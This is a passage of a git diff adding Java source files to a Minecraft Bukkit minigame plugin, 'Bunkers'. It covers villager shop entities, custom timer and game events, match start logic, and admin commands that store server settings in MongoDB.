private Team team; + private Location spawnLocation; + @Setter private ShopType shopType; + + public BuildEntity(Team team, Location spawnLocation) { + this.team = team; + this.spawnLocation = spawnLocation; + + Villager villager = (Villager) spawnLocation.getWorld().spawnEntity(spawnLocation, EntityType.VILLAGER); + villager.setFallDistance(0); + villager.setRemoveWhenFarAway(false); + villager.setAdult(); + villager.setProfession(Villager.Profession.BLACKSMITH); + villager.setCanPickupItems(false); + villager.setMaxHealth(40); + villager.setHealth(40); + villager.setCustomName(team.getColor() + "Build Shop"); + villager.setCustomNameVisible(true); + villager.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, Integer.MAX_VALUE, -6, true), true); + setShopType(ShopType.BUILD); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/types/CombatEntity.java b/Bunkers/src/main/java/me/redis/bunkers/entity/types/CombatEntity.java new file mode 100644 index 0000000..ebd282b --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/types/CombatEntity.java @@ -0,0 +1,37 @@ +package me.redis.bunkers.entity.types; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.entity.ShopType; +import me.redis.bunkers.team.Team; +import org.bukkit.Location; +import org.bukkit.entity.Entity; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Villager; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@Getter +public class CombatEntity { + private Team team; + private Location spawnLocation; + @Setter private ShopType shopType; + + public CombatEntity(Team team, Location spawnLocation) { + this.team = team; + this.spawnLocation = spawnLocation; + + Villager villager = (Villager) spawnLocation.getWorld().spawnEntity(spawnLocation, EntityType.VILLAGER); + villager.setFallDistance(0); + villager.setRemoveWhenFarAway(false); + villager.setAdult(); + villager.setProfession(Villager.Profession.BLACKSMITH); + villager.setCanPickupItems(false); + villager.setMaxHealth(40); + villager.setHealth(40); + villager.setCustomName(team.getColor() + "Combat Shop"); + villager.setCustomNameVisible(true); + villager.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, Integer.MAX_VALUE, -6, true), true); + setShopType(ShopType.COMBAT); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/types/EnchantEntity.java b/Bunkers/src/main/java/me/redis/bunkers/entity/types/EnchantEntity.java new file mode 100644 index 0000000..c7940da --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/types/EnchantEntity.java @@ -0,0 +1,37 @@ +package me.redis.bunkers.entity.types; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.entity.ShopType; +import me.redis.bunkers.team.Team; +import org.bukkit.Location; +import org.bukkit.entity.Entity; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Villager; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@Getter +public class EnchantEntity { + private Team team; + private Location spawnLocation; + @Setter private ShopType shopType; + + public EnchantEntity(Team team, Location spawnLocation) { + this.team = team; + this.spawnLocation = spawnLocation; + + Villager villager = (Villager) spawnLocation.getWorld().spawnEntity(spawnLocation, EntityType.VILLAGER); + villager.setFallDistance(0); + villager.setRemoveWhenFarAway(false); + villager.setAdult(); + villager.setProfession(Villager.Profession.BLACKSMITH); + villager.setCanPickupItems(false); + villager.setMaxHealth(40); + villager.setHealth(40); + villager.setCustomName(team.getColor() + "Tim the enchanter"); + villager.setCustomNameVisible(true); + villager.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, Integer.MAX_VALUE, -6, true), true); + setShopType(ShopType.ENCHANT); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/types/SellEntity.java b/Bunkers/src/main/java/me/redis/bunkers/entity/types/SellEntity.java new file mode 100644 index 0000000..f1d1aee --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/types/SellEntity.java @@ -0,0 +1,36 @@ +package me.redis.bunkers.entity.types; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.entity.ShopType; +import me.redis.bunkers.team.Team; +import org.bukkit.Location; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Villager; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@Getter +public class SellEntity { + private Team team; + private Location spawnLocation; + @Setter private ShopType shopType; + + public SellEntity(Team team, Location spawnLocation) { + this.team = team; + this.spawnLocation = spawnLocation; + + Villager villager = (Villager) spawnLocation.getWorld().spawnEntity(spawnLocation, EntityType.VILLAGER); + villager.setFallDistance(0); + villager.setRemoveWhenFarAway(false); + villager.setAdult(); + villager.setProfession(Villager.Profession.BLACKSMITH); + villager.setCanPickupItems(false); + villager.setMaxHealth(40); + villager.setHealth(40); + villager.setCustomName(team.getColor() + "Sell Items"); + villager.setCustomNameVisible(true); + villager.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, Integer.MAX_VALUE, -6, true), true); + setShopType(ShopType.SELL); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/BoardCreateEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/BoardCreateEvent.java new file mode 100644 index 0000000..dac7ab2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/BoardCreateEvent.java @@ -0,0 +1,27 @@ +package me.redis.bunkers.events; + +import lombok.Getter; +import me.redis.bunkers.scoreboard.scoreboard.Board; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class BoardCreateEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + @Getter private final Board board; + @Getter private final Player player; + + public BoardCreateEvent(Board board, Player player) { + this.board = board; + this.player = player; + } + + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/GameStatusChangeEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/GameStatusChangeEvent.java new file mode 100644 index 0000000..3e8f34c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/GameStatusChangeEvent.java @@ -0,0 +1,25 @@ +package me.redis.bunkers.events; + +import lombok.Getter; +import me.redis.bunkers.game.status.GameStatus; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class GameStatusChangeEvent extends Event { + private static final HandlerList handlers = new HandlerList(); + @Getter private GameStatus oldStatus; + @Getter private GameStatus newStatus; + + public GameStatusChangeEvent(GameStatus oldStatus, GameStatus newStatus) { + this.oldStatus = oldStatus; + this.newStatus = newStatus; + } + + public HandlerList getHandlers() { + return handlers; + } + public static HandlerList getHandlerList() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/PlayerClaimEnterEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/PlayerClaimEnterEvent.java new file mode 100644 index 0000000..0394092 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/PlayerClaimEnterEvent.java @@ -0,0 +1,67 @@ +package me.redis.bunkers.events; + +import me.redis.bunkers.team.Team; +import org.bukkit.Location; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class PlayerClaimEnterEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final Player player; + private final Team fromTeam; + private final Team toTeam; + private final Location from; + private final Location to; + + public PlayerClaimEnterEvent(Player player, Location from, Location to, Team fromTeam, Team toTeam) { + this.player = player; + this.from = from; + this.to = to; + this.fromTeam = fromTeam; + this.toTeam = toTeam; + } + + public Team getFromTeam() { + return fromTeam; + } + + public Team getToTeam() { + return toTeam; + } + + public Player getPlayer() { + return player; + } + + public Location getFrom() { + return from; + } + + public Location getTo() { + return to; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/TimerClearEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/TimerClearEvent.java new file mode 100644 index 0000000..3df88de --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/TimerClearEvent.java @@ -0,0 +1,59 @@ +package me.redis.bunkers.events; + +import com.google.common.base.Optional; +import me.redis.bunkers.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} is removed. + */ +public class TimerClearEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerClearEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerClearEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.of(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/TimerExpireEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/TimerExpireEvent.java new file mode 100644 index 0000000..b4d7dd2 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/TimerExpireEvent.java @@ -0,0 +1,59 @@ +package me.redis.bunkers.events; + +import com.google.common.base.Optional; +import me.redis.bunkers.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} expires. + */ +public class TimerExpireEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerExpireEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerExpireEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/TimerExtendEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/TimerExtendEvent.java new file mode 100644 index 0000000..ef66e09 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/TimerExtendEvent.java @@ -0,0 +1,98 @@ +package me.redis.bunkers.events; + +import com.google.common.base.Optional; +import me.redis.bunkers.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} is extended. + */ +public class TimerExtendEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long previousDuration; + private long newDuration; + + public TimerExtendEvent(Timer timer, long previousDuration, long newDuration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public TimerExtendEvent(@Nullable Player player, UUID uniqueId, Timer timer, long previousDuration, long newDuration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getPreviousDuration() { + return previousDuration; + } + + public long getNewDuration() { + return newDuration; + } + + public void setNewDuration(long newDuration) { + this.newDuration = newDuration; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/TimerPauseEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/TimerPauseEvent.java new file mode 100644 index 0000000..d86c26e --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/TimerPauseEvent.java @@ -0,0 +1,78 @@ +package me.redis.bunkers.events; + +import com.google.common.base.Optional; +import me.redis.bunkers.timer.Timer; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when the pause state of a {@link Timer} changes. + */ +public class TimerPauseEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final boolean paused; + private final Optional userUUID; + private final Timer timer; + + public TimerPauseEvent(Timer timer, boolean paused) { + this.userUUID = Optional.absent(); + this.timer = timer; + this.paused = paused; + } + + public TimerPauseEvent(UUID userUUID, Timer timer, boolean paused) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + this.paused = paused; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + public boolean isPaused() { + return paused; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/events/TimerStartEvent.java b/Bunkers/src/main/java/me/redis/bunkers/events/TimerStartEvent.java new file mode 100644 index 0000000..603632d --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/events/TimerStartEvent.java @@ -0,0 +1,75 @@ +package me.redis.bunkers.events; + +import com.google.common.base.Optional; +import me.redis.bunkers.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} starts. + */ +public class TimerStartEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long duration; + + public TimerStartEvent(Timer timer, final long duration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.duration = duration; + } + + public TimerStartEvent(@Nullable Player player, UUID uniqueId, Timer timer, long duration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.duration = duration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getDuration() { + return duration; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/game/GameManager.java b/Bunkers/src/main/java/me/redis/bunkers/game/GameManager.java new file mode 100644 index 0000000..db7248f --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/game/GameManager.java @@ -0,0 +1,112 @@ +package me.redis.bunkers.game; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.events.GameStatusChangeEvent; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.profiles.status.PlayerStatus; +import me.redis.bunkers.tasks.GameTimeTask; +import me.redis.bunkers.tasks.KothTask; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; + +public class GameManager { + @Getter private Bunkers bunkers = Bunkers.getPlugin(); + @Getter private GameStatus status; + @Getter @Setter private Boolean started = false; + @Getter @Setter private long gameTime; + @Getter @Setter private boolean event = false; + @Getter private int scoreboard = 0; + @Getter @Setter private String eventName = "Custom Event"; + @Getter @Setter private Team winnerTeam; + + public GameManager() { + Bukkit.getScheduler().runTaskTimerAsynchronously(Bunkers.getPlugin(), () -> { + if (event) { + if (scoreboard == 0) { + scoreboard = 1; + } else if (scoreboard == 1) { + scoreboard = 0; + } + } + }, 20L, 20 * 3L); + + } + + public void setStatus(GameStatus status) { + Bukkit.getPluginManager().callEvent(new GameStatusChangeEvent(this.status, status)); + this.status = status; + } + + public boolean canBePlayed() { + return bunkers.getTeamManager().canBePlayed(); + } + + @Getter private final int[] cooldown = {30}; + public void startCooldown() { + setStatus(GameStatus.STARTING); + setStarted(true); + + new BukkitRunnable() { + @Override public void run() { + if (cooldown[0] <= 0) { + startGame(); + + cancel(); + } else { + if (cooldown[0] % 5 == 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&eThe match will start in &9" + cooldown[0] + " seconds&e.")); + } + } + + cooldown[0]--; + } + }.runTaskTimer(Bunkers.getPlugin(), 20L, 20L); + } + + public void startGame() { + for (Player player : Bukkit.getOnlinePlayers()) { + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + + player.teleport(LocationUtils.getLocation(team.getSpawnLocation())); + player.getInventory().clear(); + player.getInventory().setItem(0, new ItemStack(Material.STONE_PICKAXE)); + player.getInventory().setItem(1, new ItemStack(Material.STONE_AXE)); + setStatus(GameStatus.PLAYING); + profile.setStatus(PlayerStatus.PLAYING); + profile.setGamesPlayed(profile.getGamesPlayed() + 1); + profile.setBalance(500); + profile.save(); + team.setDtr(team.getMembers().size()); + + player.sendMessage(ChatColor.GREEN + "The match has started..."); + } else { + player.kickPlayer(ChatColor.RED + "You must have a team to play."); + } + } + + Bukkit.getScheduler().scheduleAsyncRepeatingTask(Bunkers.getPlugin(), () -> { + Bukkit.getOnlinePlayers().forEach(player -> { + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + + if (profile.getStatus() == PlayerStatus.PLAYING) { + profile.setBalance(profile.getBalance() + 3); + } + }); + }, 0L, 20 * 3L); + + new GameTimeTask().runTaskTimerAsynchronously(Bunkers.getPlugin(), 20L, 20L); + Bukkit.getScheduler().runTaskLater(Bunkers.getPlugin(), () -> new KothTask().runTaskTimer(Bunkers.getPlugin(), 20L, 20L), 20 * 60 * 5); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/game/status/GameStatus.java b/Bunkers/src/main/java/me/redis/bunkers/game/status/GameStatus.java new file mode 100644 index 0000000..bcaf4c8 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/game/status/GameStatus.java @@ -0,0 +1,5 @@ +package me.redis.bunkers.game.status; + +public enum GameStatus { + WAITING, STARTING, PLAYING, ENDING +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/Information.java b/Bunkers/src/main/java/me/redis/bunkers/information/Information.java new file mode 100644 index 0000000..3dc64bf --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/Information.java @@ -0,0 +1,68 @@ +package me.redis.bunkers.information; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.LocationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.Location; + +@Getter +public class Information { + @Setter private String lobbyLocation, kothFirstLocation, kothSecondLocation; + @Setter private String serverName; + @Setter private int minPlayers = 5; + @Setter private String address = "none"; + + public Information() { + load(); + } + + + public void load() { + Document document = (Document) Bunkers.getPlugin().getInformationCollection().find(Filters.eq("_id", "Information")).first(); + + if (document == null) return; + + lobbyLocation = document.getString("lobbyLocation"); + serverName = document.getString("serverName"); + kothFirstLocation = document.getString("kothFirstLocation"); + kothSecondLocation = document.getString("kothSecondLocation"); + minPlayers = document.getInteger("minPlayers"); + address = document.getString("address"); + } + + public void save() { + Document document = new Document("_id", "Information"); + + document.put("lobbyLocation", lobbyLocation); + document.put("serverName", serverName); + document.put("kothFirstLocation", kothFirstLocation); + document.put("kothSecondLocation", kothSecondLocation); + document.put("minPlayers", minPlayers); + document.put("address", address); + + Bson filter = Filters.eq("_id", "Information"); + FindIterable iterable = Bunkers.getPlugin().getInformationCollection().find(filter); + + if (iterable.first() == null) { + Bunkers.getPlugin().getInformationCollection().insertOne(document); + } else { + Bunkers.getPlugin().getInformationCollection().replaceOne(filter, document); + } + + Bunkers.getPlugin().getInformationManager().setInformation(this); + } + + public Cuboid getKothCuboid() { + return new Cuboid(LocationUtils.getLocation(kothFirstLocation), LocationUtils.getLocation(kothSecondLocation)); + } + + public Location getKothCenter() { + return getKothCuboid().getCenter(); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/InformationManager.java b/Bunkers/src/main/java/me/redis/bunkers/information/InformationManager.java new file mode 100644 index 0000000..03ceb80 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/InformationManager.java @@ -0,0 +1,12 @@ +package me.redis.bunkers.information; + +import lombok.Getter; +import lombok.Setter; + +public class InformationManager { + @Getter @Setter public Information information; + + public InformationManager() { + setInformation(new Information()); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/InformationCommand.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/InformationCommand.java new file mode 100644 index 0000000..ef6953e --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/InformationCommand.java @@ -0,0 +1,19 @@ +package me.redis.bunkers.information.commands; + +import me.redis.bunkers.information.commands.argments.*; +import me.redis.bunkers.utils.command.ExecutableCommand; + +public class InformationCommand extends ExecutableCommand { + public InformationCommand() { + super("information", null, "info", "bunkers"); + + addArgument(new ShowArgument()); + addArgument(new SetSpawnArgument()); + addArgument(new SetKothAreaArgument()); + addArgument(new SetMinimumPlayersArgument()); + addArgument(new SetServerNameArgument()); + addArgument(new SetAddressArgument()); + addArgument(new SetEventArgument()); + addArgument(new SetEventNameArgument()); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetAddressArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetAddressArgument.java new file mode 100644 index 0000000..6dc8da9 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetAddressArgument.java @@ -0,0 +1,42 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.JavaUtils; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetAddressArgument extends CommandArgument { + public SetAddressArgument() { + super("setaddress", null, "setip"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + "
"; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + information.setAddress(args[1]); + information.save(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have the server's address. &7&o(You can check it by /information show)")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventArgument.java new file mode 100644 index 0000000..cc5616c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventArgument.java @@ -0,0 +1,47 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.GameManager; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.JavaUtils; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetEventArgument extends CommandArgument { + public SetEventArgument() { + super("setgameevent", null, "setevent"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + if (!JavaUtils.isBoolean(args[1])) { + player.sendMessage(ChatColor.RED + "You must introduce true/false."); + return true; + } + + GameManager manager = Bunkers.getPlugin().getGameManager(); + manager.setEvent(Boolean.parseBoolean(args[1])); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eThis is now an event match. &7&o(You can check them by /information show)")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventNameArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventNameArgument.java new file mode 100644 index 0000000..a204090 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetEventNameArgument.java @@ -0,0 +1,42 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.GameManager; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import me.redis.bunkers.utils.JavaUtils; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetEventNameArgument extends CommandArgument { + public SetEventNameArgument() { + super("seteventname"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + GameManager manager = Bunkers.getPlugin().getGameManager(); + manager.setEventName(StringUtils.join(args, " ", 1, args.length)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have set the event name. &7&o(You can check them by /information show)")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetKothAreaArgument.java b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetKothAreaArgument.java new file mode 100644 index 0000000..a7b6aa4 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/information/commands/argments/SetKothAreaArgument.java @@ -0,0 +1,57 @@ +package me.redis.bunkers.information.commands.argments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.protocol.ClaimPillar; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetKothAreaArgument extends CommandArgument { + public SetKothAreaArgument() { + super("setkotharea", null, "area"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Wand wand = Bunkers.getPlugin().getWandManager().getWand(player); + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + + if (wand == null || wand.getFirstLocation() == null || wand.getSecondLocation() == null) { + player.sendMessage(ChatColor.RED + "You must have wand locations."); + return true; + } + + information.setKothFirstLocation(LocationUtils.getString(wand.getFirstLocation())); + information.setKothSecondLocation(LocationUtils.getString(wand.getSecondLocation())); + information.save(); + + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the koth coordinates. &7&o(You can check them by /information show)")); + } + return true; + } +} diff --git 